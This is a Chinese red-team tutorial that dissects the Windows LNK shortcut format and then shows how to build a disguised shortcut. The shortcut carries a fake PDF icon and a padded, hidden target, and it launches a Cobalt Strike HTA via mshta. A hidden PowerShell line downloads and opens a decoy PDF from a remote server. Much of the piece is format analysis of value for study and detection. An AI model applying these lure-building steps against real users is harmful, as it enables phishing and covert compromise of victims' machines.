HW在即——红队活动之Lnk样本载荷篇
共 6673字,需浏览 14分钟
·
2020-07-28 17:46
HW在即——红队活动之Lnk样本载荷篇
注意:
1.本篇文章由Gcow安全团队绝影小组原创(主要研究于红蓝对抗领域)
2.本篇文章一共2700多字,44张图,预计用时8分钟
3.希望各位看官如果在看到错误的地方可以在私信或者评论向笔者指出,笔者将感激不尽
4.如果因为本篇文章而造成的相关损失本公众号不给予赔偿.
5.本篇文章只是学习交流,若出现因通过本篇文章而出现进行的攻击活动,本公众号概不负责
0x00.前言:
在日常的活动中,我们都可以看到LNK
载荷的存在,从U盘蠕虫对U盘文件进行伪装,以达到欺骗受害人点击的目的,再到红队活动甚至于部分APT
组织也使用了LNK
文件作为其投递的主要载荷.LNK
文件的载荷拥有自动隐藏.lnk后缀名,从而展现伪装的后缀名以欺骗目标的特点而被广泛使用,下面我们将先通过解析LNK
文件格式进行切入,再通过其基础进行样本的相关构造,最后我们会介绍一些需要注意的地方.也希望各位看官如果在看到错误的地方可以在私信或者评论向笔者指出,笔者将感激不尽。
另外本样本不讨论相关的免杀性,免杀的操作请各位看官自己实现.
0x01 LNK文件格式解析:
文件前20
字节固定不变:
•HeaderSize(4 bytes, offset 0x00
):0x0000004C•LinkCLSID(16 bytes, offset 0x04
):00021401-0000-0000-C000-000000000046
0x01.1 LinkFlags
由offset 0x14
起始4字节为LinkFlags(下图来自微软官方文档):
由图片2可以看到,该文件LinkFlags为0x000802DB
(Bin:0000 0000 0000 1000 0000 0010 1101 1011
),这表示以下Flag被设置:
•HasLinkTargetIDList•HasLinkInfo•HasRelativePath•HasWorkingDir•HasIconLocation•IsUnicode•HasExpIcon•DisableLinkPathTracking
上述Flag会在下文解释,故此处先不做展开。
0x01.2 FileAttributes
由offset 0x18
起始4
字节为FileAttributes,0x00000020
表示FILE_ATTRIBUTE_ARCHIVE
。
0x01.3 CreateTime & AccessTime & WriteTime
由offset 0x1C
开始,每个字段各占8
字节:
0x01.4 FileSize
由图4可以看到,FileSize为0x000E0400
(占4
个字节)。
0x01.5 IconIndex
IconIndex为0x00000001
(占4
个字节)。
0x01.6 ShowCommand & Hotkey
由offset 0x3C
开始,ShowCommand占4
字节,0x00000001表示SW_SHOWNORMAL
,当然也可以根据具体的需要替换为SW_SHOWMAXIMIZED (0x00000003)
(窗口最大化)以及SW_SHOWMINNOACTIVE (0x00000007)
(窗口最小化)
Hotkey占2
字节;余下10
个字节均为保留位。
0x01.7 LinkTargetIDList
由于LinkFlags中HasLinkTargetIDList
设为1
,故文件包含LinkTargetIDList结构。LinkTargetIDList构成如下:
而IDList由ItemID构成,以2
字节全为0
的TerminalID作为结束:
下面来看示例文件中的LinkTargetIDList:
上图红色部分为IDListSize,绿色部分为TerminalID,中间蓝色部分则为IDList。下面来看IDList,第一个ItemID如下:
•ItemIDSize(2 bytes, offset 0x004E):0x0014•Data(12 bytes, offset 0x0050):根据微软官方文档给出的信息,其含义为computer
第二个ItemID:
•ItemIDSize(2 bytes, offset 0x0062):0x0019•Data(23 bytes, offset 0x0064):其含义为c:
第三个ItemID:
不再赘述,其含义为Windows。
第四个ItemID:
其含义为System32。
第五个ItemID:
0x01.8 LinkInfo
由于LinkFlags中HasLinkInfo
设为1,故文件包含LinkInfo结构。LinkInfo构成如下:
下面来看下示例文件中的LinkInfo:
•LinkInfoSize(4 bytes, offset 0x017B):0x00000053•LinkInfoHeaderSize(4 bytes, offset 0x017F):LinkInfo结构定义中指定该字段为0x0000001C•LinkInfoFlags(4 bytes, offset 0x0183):0x00000001,表示VolumeIDAndLocalBasePath标志位设为1•VolumeIDOffset(4 bytes, offset 0x0187):0x0000001C,自offset 0x017B
处VolumeID偏移大小•LocalBasePathOffset(4 bytes, offset 0x018B):0x00000035,自offset 0x017B
处LocalBasePath偏移大小•CommonNetworkRelativeLinkOffset(4 bytes, offset 0x018F):0x00000000,CommonNetworkRelativeLink不存在•CommonPathSuffixOffset(4 bytes, offset 0x0193):0x00000052,自offset 0x017B
处CommonPathSuffix偏移大小•VolumeID(25 bytes, offset 0x0197):由于VolumeIDAndLocalBasePath设置为1,故包含VolumeID结构如下:•VolumeIDSize(4 bytes, offset 0x0197):0x00000019•DriveType(4 bytes, offset 0x019B):DRIVE_FIXED(3)•DriveSerialNumber(4 bytes, offset 0x019F)•VolumeLabelOffset(4 bytes, offset 0x01A3):0x00000010,自offset 0x0197
处VolumeLabel偏移大小•Data(9 bytes, offset 0x01A7):Windows7•LocalBasePath(29 bytes, offset 0x01B0):由于VolumeIDAndLocalBasePath设置为1,故包含LocalBasePath——"C:/Windows/System32/calc.exe"。该字段为指向链接目标的完整路径。•CommonPathSuffix(1 byte, offset 0x01CD):空字符
0x01.9 String Data
每个String Data结构如下:
由于LinkFlags中HasRelativePath
设为1,故文件包含RELATIVE_PATH
字符串:
红色部分是CountCharacters(Unicode
字符串长度,故应该为0x22*2=0x44
),蓝色部分则为String
。
之后是WORKING_DIR字符串:
ICON_LOCATION字符串:
0x01.10 EnvironmentVariableDataBlock
由于LinkFlags中HasExpString
设为1
,故文件包含EnvironmentVariableDataBlock
:
•BlockSize(4 bytes):该字段值必须为0x0314•BlockSignature (4 bytes):该字段值必须为0xA0000001•TargetAnsi (260 bytes):指定环境变量路径(ANSI字符串),详见下图。
•TargetUnicode(520 bytes):指定环境变量路径(UNICODE字符串),详见下图。
0x01.11 EXTRA_DATA
由零个或多个下列数据块与TERMINAL_BLOCK组成:
示例文件中的EXTRA_DATA包含SpecialFolderDataBlock
:
•BlockSize(4 bytes):0x00000010•BlockSignature(4 bytes):0xA000005,标识SpecialFolderDataBlock•SpecialFolderID (4 bytes):0x00000025,指定Folder ID•Offset(4 bytes):0x000000D5,偏移大小,指向IDList中第五个ItemID
KnownFolderDataBlock:
•BlockSize(4 bytes):0x0000001C•BlockSignature(4 bytes):0xA00000B,标识KnownFolderDataBlock•KnownFolderID(16 bytes):GUID•Offset(4 bytes):0x000000D5,偏移大小,指向IDList中第五个ItemID
PropertyStoreDataBlock:
•BlockSize(4 bytes):0x000001F4•BlockSignature(4 bytes):0xA000009,标识PropertyStoreDataBlock•PropertryStore(492 bytes)TrackerDataBlock:
•BlockSize(4 bytes):0x00000060•BlockSignature(4 bytes):0xA000003,标识TrackerDataBlock•Length(4 bytes):0x00000058,该数据块最小长度•Version(4 bytes):0x00000000•MachineID(16 bytes)•Droid(32 bytes):2 GUID•DroidBirth(32 byte):2 GUID
0x02 构造迷惑性LNK文件:
我们首先生成一个正常的LNK文件:
之后更改其图标为%SystemRoot%/System32/SHELL32.dll
中任意一个:
0x02.1 修改图标
用010 Editor
打开该LNK文件,找到String Data
部分ICON_LOCATION
字符串:
我们要将其修改为./1.pdf
(Unicode),其长度0x07
:
其效果如下所示(左边机器打开PDF
文件的默认程序是XODO PDF Reader,中间是Adobe Reader,右边是谷歌浏览器):
其会根据目标机器上所安装的环境进行适配,以显示出符合本机环境的图标,加大了样本的成功几率
0x02.2 修改目标
原始目标如下所示:
现在我们修改EnvironmentVariableDataBlock
中的TargetAnsi
及TargetUnicode
:
将其修改为%windir%/system32
目录不存在的一个EXE文件名。
效果展示:
但这时双击该文件会报错:
所以我们需要再修改LinkTargetIDList中第五个ItemID:
如此一来,打开该文件便会弹出计算器:
0x03 扩展:
首先新建一指向%windir%/System32/mshta.exe
的快捷方式(文件名尽量带有迷惑性),并更改其图标为%SystemRoot%/System32/SHELL32.dll
中任意一个:
之后更改其参数为HTA
下载地址:
注:笔者是使用Cobalt Strike
生成HTA
文件:
于其执行payload
前增加如下语句(用于下载诱饵文档并且进行打开,同时诱饵文档的显示有多种方法,这里只是举一个例子):
Dim open_pdf
Set open_pdf = CreateObject("Wscript.Shell")
open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.3.27:8080/1.pdf',$env:temp+'/LNK文件格式解析(修改版).pdf');Start-Process $env:temp'/LNK文件格式解析(修改版).pdf'", 0, true
这样一来,在受害者打开LNK
文件后会从远程下载一正常PDF
文档并打开。
接下来按照0x02
部分所述方法修改即可,此处加一个Tip——在其WORKING_DIR字符串前面添加大量空格字符,使其目标长度超过260
个字符:
使用copy /B
命令将其与正常PDF
文档捆绑,使其文件大小看起来更具有说服力:
之后双击该LNK
文件,主机便会上线,而受害者会看到一正常的PDF
文档:
效果展示:
0x04.注意事项:
文中只是以pdf为后缀做了一个例子,看官在具体进行构造的时候可以使用其他的后缀,只要是后面以10 00 00 00
结尾即可
当然看官也可以通过修改前面的规定数据大小的值以实现不拘泥于数字与字母的命名方式
如上图中的docx
所示其数据大小为9
,数据值为.\11.docx
而下面的png
所显示的数据大小为7
,数据值为.\1.png
。经过反复的修改测试可得知,只要其数据值能够符合其前面规定的数据块其就可以正常解析并且显示.
0x05.结语:
本文属于抛砖引玉,其所使用的技术也不是很新颖.但的确可以在一定程度上起到迷惑的作用,故本绝影小组认为值得分享,同时鉴于有不少的APT组织(例如Gamaredon
,Oceanlotus
,SideWinder
等)也同样进行lnk
载荷的投递,希望各单位可以培养针对相关鱼叉载荷的安全意识,以减少损失.